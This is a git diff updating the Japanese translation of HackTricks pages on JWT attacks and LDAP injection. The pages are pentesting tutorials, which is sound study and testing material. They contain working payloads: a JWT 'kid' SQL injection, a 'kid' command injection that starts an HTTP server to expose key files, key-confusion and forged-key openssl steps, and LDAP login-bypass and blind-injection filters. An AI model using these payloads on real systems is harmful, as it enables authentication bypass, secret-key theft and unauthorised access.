|
||||
署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。例えば、ユーザー名を "admin" に変更してみてください。
|
||||
|
||||
#### **トークンがチェックされていますか?**
|
||||
#### **トークンがチェックされているか?**
|
||||
|
||||
JWTの署名が検証されているかどうかを確認するには:
|
||||
|
||||
|
@ -55,16 +51,16 @@ JWTの署名が検証されているかどうかを確認するには:
|
|||
* 返されるページの変化も検証を示します。
|
||||
* 変化がない場合は検証が行われていないことを示し、この場合はペイロードのクレームを改ざんして実験するタイミングです。
|
||||
|
||||
### オリジン
|
||||
### 起源
|
||||
|
||||
トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを確認するために、プロキシのリクエスト履歴を調べることが重要です。
|
||||
トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを調査することで、プロキシのリクエスト履歴を調べることが重要です。
|
||||
|
||||
* クライアントサイドから最初に表示されたトークンは、鍵がクライアントサイドのコードに公開されている可能性があり、さらなる調査が必要です。
|
||||
* サーバーサイドで生成されたトークンはセキュアなプロセスを示します。
|
||||
* クライアントサイドから最初に見られたトークンは、鍵がクライアントサイドのコードに露出している可能性があり、さらなる調査が必要です。
|
||||
* サーバーサイドで発生したトークンはセキュアなプロセスを示します。
|
||||
|
||||
### 期間
|
||||
|
||||
トークンが24時間以上有効かどうかを確認してください... 期限が切れないかもしれません。 "exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。
|
||||
トークンが24時間以上続くかどうかを確認してください... 期限が切れないかもしれません。 "exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。
|
||||
|
||||
### HMACシークレットの総当たり攻撃
|
||||
|
||||
|
@ -74,7 +70,7 @@ JWTの署名が検証されているかどうかを確認するには:
|
|||
|
||||
使用されるアルゴリズムを "None" に設定し、署名部分を削除します。
|
||||
|
||||
この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更します(リクエストをRepeaterに送信し、"JSON Web Token"タブでトークンの値を変更できます。また、"Alg"フィールドの値を "None" に設定することもできます)。
|
||||
この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更します(リクエストをRepeaterに送信し、"JSON Web Token" タブでトークンの値を変更できます。また、"Alg" フィールドの値を "None" に設定することもできます)。
|
||||
|
||||
### アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -83,16 +79,14 @@ JWTの署名が検証されているかどうかを確認するには:
|
|||
|
||||
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
|
||||
|
||||
その後、公開鍵を使用してRS256をHS256に変更し、有効な署名を作成できます。Webサーバーの証明書を取得するには、次のように実行します:
|
||||
|
||||
その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。これを実行しているWebサーバーの証明書を取得できます。
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
|
||||
### ヘッダー内の新しい公開鍵
|
||||
|
||||
攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証します(CVE-2018-0114)。
|
||||
攻撃者はトークンのヘッダーに新しいキーを埋め込み、サーバーはこの新しいキーを使用して署名を検証します(CVE-2018-0114)。
|
||||
|
||||
これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。\
|
||||
(リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します)。
|
||||
|
@ -101,14 +95,14 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンに焦点を当てています。このクレームは、トークンの検証に必要な公開鍵が含まれているJSON Web Key Set(JWKS)ファイルにリンクする必要があります。
|
||||
|
||||
* **「jku」ヘッダーを持つトークンの評価**:
|
||||
* **"jku"ヘッダーを持つトークンの評価**:
|
||||
* "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。
|
||||
* トークンの「jku」値を変更して、監視可能なコントロールされたWebサービスに向けることで、トラフィックの観察を可能にします。
|
||||
* トークンの「jku」値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。
|
||||
* **HTTPインタラクションの監視**:
|
||||
* 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとする試みを把握できます。
|
||||
* 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとすることが示されます。
|
||||
* このプロセスで`jwt_tool`を使用する場合、テストを容易にするために`jwtconf.ini`ファイルを個人のJWKSの場所に更新することが重要です。
|
||||
* **`jwt_tool`のコマンド**:
|
||||
* 次のコマンドを実行して、`jwt_tool`を使用してシナリオをシミュレートします:
|
||||
* 次のコマンドを実行して、`jwt_tool`を使用してシナリオをシミュレートします:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
|
@ -116,57 +110,52 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Kidの問題の概要
|
||||
|
||||
`kid`として知られるオプションのヘッダークレームは、トークン署名の検証に複数の鍵が存在する環境で特に重要となる特定の鍵を識別するために使用されます。このクレームは、トークンの署名を検証するための適切な鍵を選択するのに役立ちます。
|
||||
`kid`として知られるオプションのヘッダークレームは、トークン署名の検証に複数のキーが存在する環境で特に重要となる特定のキーを識別するために使用されます。このクレームは、トークンの署名を検証するための適切なキーを選択するのに役立ちます。
|
||||
|
||||
#### "kid"を通じて鍵を明らかにする
|
||||
#### "kid"を通じてキーを明らかにする
|
||||
|
||||
ヘッダーに`kid`クレームが存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、`"kid":"key/12345"`が指定されている場合、Webルートで _/key/12345_ および _/key/12345.pem_ ファイルを検索する必要があります。
|
||||
ヘッダーに`kid`クレームが存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、`"kid":"key/12345"`が指定されている場合、Webルートで _/key/12345_ および _/key/12345.pem_ のファイルを検索する必要があります。
|
||||
|
||||
#### "kid"を使用したパス遍歴
|
||||
|
||||
`kid`クレームは、ファイルシステムを通過して任意のファイルを選択することを可能にする可能性があります。`kid`の値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行したりすることができます。`kid`の値を変更して元の署名を保持しながらJWTを操作するには、jwt\_toolの`-T`フラグを使用します。以下に示すように:
|
||||
|
||||
`kid`クレームは、ファイルシステムを通過するために悪用される可能性があり、任意のファイルを選択することができるようになります。`kid`の値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行したりすることが可能です。`jwt_tool`で`-T`フラグを使用して`kid`の値を変更し、元の署名を保持しながらJWTを操作することができます。
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
||||
### JWT(JSON Web Tokens)ハッキング
|
||||
### JWT(JSON Web Tokens)のハッキング
|
||||
|
||||
予測可能なコンテンツを持つファイルを標的にすることで、有効なJWTを偽造することが可能です。たとえば、Linuxシステムの `/proc/sys/kernel/randomize_va_space` ファイルは値 **2** を含むことが知られており、JWT生成の対称パスワードとして `kid` パラメータで **2** を使用できます。
|
||||
|
||||
#### "kid"を介したSQLインジェクション
|
||||
#### "kid" を介したSQLインジェクション
|
||||
|
||||
`kid` クレームのコンテンツがデータベースからパスワードを取得するために使用される場合、`kid` ペイロードを変更することでSQLインジェクションが可能になります。JWT署名プロセスを変更するためのSQLインジェクションを使用した例のペイロードは次のとおりです:
|
||||
`kid` クレームのコンテンツがデータベースからパスワードを取得するために使用される場合、`kid` ペイロードを変更することでSQLインジェクションが容易になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
この変更により、JWT署名に既知の秘密キー `ATTACKER` が使用されるようになります。
|
||||
|
||||
#### "kid"を介したOSインジェクション
|
||||
#### "kid" を介したOSインジェクション
|
||||
|
||||
`kid` パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行(RCE)の脆弱性が発生する可能性があります。`kid` パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの公開を達成するための例のペイロードは次のとおりです:
|
||||
`kid` パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行(RCE)の脆弱性が発生する可能性があります。`kid` パラメータにコマンドをインジェクトすることで、秘密キーが公開される可能性があります。RCEとキーの露出を達成するための例のペイロードは次のとおりです:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u および jku
|
||||
### x5u と jku
|
||||
|
||||
#### jku
|
||||
|
||||
jkuは **JWK Set URL** の略です。\
|
||||
トークンが "**jku**" **Header** クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すようにします。
|
||||
jku は **JWK Set URL** の略です。\
|
||||
トークンが "**jku**" **Header** クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。
|
||||
|
||||
まず、新しい証明書と新しい秘密鍵・公開鍵を作成する必要があります。
|
||||
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
その後、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成した公開鍵と秘密鍵を使用して新しいJWTを作成し、パラメータjkuを作成した証明書に指定します。** 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。
|
||||
|
||||
その後、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成した公開鍵と秘密鍵を使用し、パラメータjkuを作成した証明書に指定して新しいJWTを作成できます。** 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。
|
||||
|
||||
公開証明書からパラメータ"e"と"n"を取得することができます。
|
||||
|
||||
公開証明書からパラメータ "e" と "n" を取得することができます。
|
||||
```bash
|
||||
from Crypto.PublicKey import RSA
|
||||
fp = open("publickey.crt", "r")
|
||||
|
@ -175,23 +164,20 @@ fp.close()
|
|||
print("n:", hex(key.n))
|
||||
print("e:", hex(key.e))
|
||||
```
|
||||
|
||||
#### x5u
|
||||
|
||||
X.509 URL。PEM形式でエンコードされたX.509(証明書形式の標準)公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。
|
||||
X.509 URL。PEM形式でエンコードされたX.509(証明書形式の標準)公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。
|
||||
|
||||
**このヘッダーを自分のコントロール下のURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを**改ざん**することができます。
|
||||
**このヘッダーを自分のコントロール下のURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを改ざんすることができます。
|
||||
|
||||
自分がコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります。
|
||||
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
次に、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成した公開鍵と秘密鍵を使用し、パラメータx5uを作成した.crt証明書に指定して新しいJWTを作成できます。**
|
||||
|
||||
次に、たとえば[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成できます。**
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
![](<../.gitbook/assets/image (953).png>)
|
||||
|
||||
これらの脆弱性を**SSRFに悪用する**こともできます。
|
||||
|
||||
|
@ -199,23 +185,20 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
このパラメータには、**base64形式の証明書**が含まれる場合があります:
|
||||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
攻撃者が**自己署名証明書を生成**し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、つまりn、e、およびx5tを変更すると、基本的に偽造トークンはサーバーによって受け入れられるようになります。
|
||||
![](<../.gitbook/assets/image (1116).png>)
|
||||
|
||||
攻撃者が**自己署名証明書を生成**し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ(n、e、x5t)を変更すると、基本的に偽造トークンはサーバーによって受け入れられるようになります。
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
|
||||
### 埋め込まれた公開鍵(CVE-2018-0114)
|
||||
|
||||
JWTに次のシナリオのように公開鍵が埋め込まれている場合:
|
||||
JWT に次のシナリオのように公開鍵が埋め込まれている場合:
|
||||
|
||||
![](<../.gitbook/assets/image (438).png>)
|
||||
|
||||
次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することが可能です:
|
||||
![](<../.gitbook/assets/image (619).png>)
|
||||
|
||||
次の nodejs スクリプトを使用すると、そのデータから公開鍵を生成することが可能です:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -225,17 +208,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
|
||||
新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで新しい署名を生成することが可能です:
|
||||
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
|
||||
次のNode.jsスクリプトを使用して、"n"と"e"を取得できます:
|
||||
|
||||
このNode.jsスクリプトを使用して、「n」と「e」を取得できます:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -245,17 +224,16 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
|
||||
### ES256: 同じノンスで秘密鍵を明らかにする
|
||||
### ES256: 同じノンスを使用して秘密鍵を公開する
|
||||
|
||||
いくつかのアプリケーションがES256を使用し、同じノンスを使用して2つのJWTを生成する場合、秘密鍵が復元される可能性があります。
|
||||
|
||||
こちらは例です:[ECDSA: 同じノンスを使用して秘密鍵を明らかにする(SECP256k1を使用)](https://asecuritysite.com/encryption/ecd5)
|
||||
こちらは例です:[ECDSA: 同じノンスを使用して秘密鍵を公開する(SECP256k1を使用)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI(JWT ID)
|
||||
|
||||
JTI(JWT ID)クレームはJWTトークンの一意の識別子を提供します。トークンの再生を防ぐために使用できます。\
|
||||
ただし、IDの最大長が4(0001-9999)である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増分している場合、これを悪用して**リクエストの再生**ができます(成功した再生ごとに10000リクエストを送信する必要があります)。
|
||||
ただし、IDの最大長が4(0001-9999)である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増分している場合、これを悪用して**リクエストを再生**することができます(成功した再生ごとに10000リクエストを送信する必要があります)。
|
||||
|
||||
### JWT登録済みクレーム
|
||||
|
||||
|
@ -265,13 +243,13 @@ JTI(JWT ID)クレームはJWTトークンの一意の識別子を提供し
|
|||
|
||||
**クロスサービスリレーアタック**
|
||||
|
||||
一部のWebアプリケーションがトークンの生成と管理に信頼されたJWTサービスを利用していることが観察されています。JWTサービスによって1つのクライアント向けに生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。第三者サービスを介したJWTの発行や更新が観察された場合、同じユーザー名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。
|
||||
一部のWebアプリケーションがトークンの生成と管理に信頼されたJWTサービスに依存していることが観察されています。同じJWTサービスの別のクライアントによって受け入れられた、あるクライアントのためにJWTサービスによって生成されたトークンのインスタンスが記録されています。第三者サービスを介してJWTの発行や更新が観察された場合、同じユーザー名/メールアドレスを使用してそのサービスの別のクライアントにアカウントを登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するための試みを行うべきです。
|
||||
|
||||
* トークンが受け入れられることで、任意のユーザーアカウントのスプーフィングが可能になる可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要となる可能性があることに注意する必要があります。
|
||||
* トークンが受け入れられることで、任意のユーザーアカウントのスプーフィングが可能になる可能性があります。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要となる可能性があることに注意する必要があります。
|
||||
|
||||
**トークンの有効期限チェック**
|
||||
|
||||
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTがセッション情報なしで頻繁に使用されるため、慎重な処理が必要です。他のユーザーのJWTをキャプチャして再生することで、そのユーザーをなりすますことが可能になる場合があります。JWT RFCは、「exp」クレームを使用してトークンの有効期限を設定することで、JWTの再生攻撃を緩和することを推奨しています。さらに、アプリケーションがこの値の処理と期限切れトークンの拒否を確実にするための関連するチェックの実装が重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析、および有効期限のチェック(UTCのタイムスタンプ)は、jwt\_toolの-Rフラグを使用して読むことができます。
|
||||
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしでよく使用されるため、慎重な処理が必要です。他のユーザーのJWTをキャプチャして再生することで、そのユーザーをなりすますことができる場合があります。JWT RFCは、JWTの再生攻撃を緩和するために「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションがこの値の処理と期限切れトークンの拒否を確実にするための関連するチェックの実装が重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析、および有効期限のチェック(UTCのタイムスタンプ)は、jwt_toolの-Rフラグを使用して読むことができます。
|
||||
|
||||
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。
|
||||
|
||||
|
@ -279,22 +257,22 @@ JTI(JWT ID)クレームはJWTトークンの一意の識別子を提供し
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**ハッキングできないものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
**ハッキングキャリア**に興味がある方、そして**解読不能なものを解読する** - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* 自分のハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# LDAP Injection
|
||||
# LDAPインジェクション
|
||||
|
||||
## LDAPインジェクション
|
||||
|
||||
|
@ -8,17 +8,17 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitterで@carlospolopm**をフォローする
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中**です(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,15 +26,15 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**LDAPとは何かを知りたい場合は、次のページにアクセスしてください:**
|
||||
**LDAPとは何か知りたい場合は、次のページにアクセスしてください:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを標的とする攻撃です。アプリケーションが入力を**適切にサニタイズできない**場合に発生し、攻撃者がローカルプロキシを介してLDAPステートメントを**操作**し、不正アクセスやデータ操作を引き起こす可能性があります。
|
||||
**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを標的とする攻撃です。アプリケーションが入力を**適切にサニタイズできない**場合、攻撃者はローカルプロキシを介してLDAPステートメントを**操作**し、不正アクセスやデータ操作を引き起こす可能性があります。
|
||||
|
||||
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
**フィルター** = (フィルター構成)\
|
||||
**フィルター構成** = and / or / not / item\
|
||||
|
@ -60,22 +60,21 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
**OpenLDAP**:2つのフィルターが到着すると、最初のフィルターのみが実行されます。\
|
||||
**ADAMまたはMicrosoft LDS**:2つのフィルターがあるとエラーが発生します。\
|
||||
**SunOne Directory Server 5.0**:両方のフィルターが実行されます。
|
||||
**SunOne Directory Server 5.0**:両方のフィルターを実行します。
|
||||
|
||||
**フィルターを正しい構文で送信しないとエラーが発生しますので、非常に重要です。1つのフィルターのみを送信する方が良いです。**
|
||||
|
||||
フィルターは`&`または`|`で始まる必要があります。\
|
||||
フィルターは`&`または`|`で始める必要があります。\
|
||||
例:`(&(directory=val1)(folder=public))`
|
||||
|
||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
その後:`(&(objectClass=`\*\*`*)(ObjectClass=*))`\*\*が最初のフィルター(実行されるフィルター)になります。
|
||||
その後:`(&(objectClass=`**`*)(ObjectClass=*))`**が最初のフィルター(実行されるフィルター)になります。
|
||||
|
||||
### ログインバイパス
|
||||
|
||||
LDAPはパスワードを保存するためにいくつかの形式をサポートしています:クリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
|
||||
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -130,7 +129,6 @@ username=admin))(|(|
|
|||
password=any
|
||||
--> (&(uid=admin)) (| (|) (webpassword=any))
|
||||
```
|
||||
|
||||
#### リスト
|
||||
|
||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||
|
@ -139,8 +137,7 @@ password=any
|
|||
|
||||
### Blind LDAP Injection
|
||||
|
||||
False または True の応答を強制して、データが返されるかどうかを確認し、可能な Blind LDAP Injection を確認できます。
|
||||
|
||||
False または True の応答を強制して、データが返されるかどうかを確認し、可能な Blind LDAP Injection を確認できます:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -152,11 +149,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
|||
Payload: void)(objectClass=void))(&objectClass=void
|
||||
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
||||
```
|
||||
|
||||
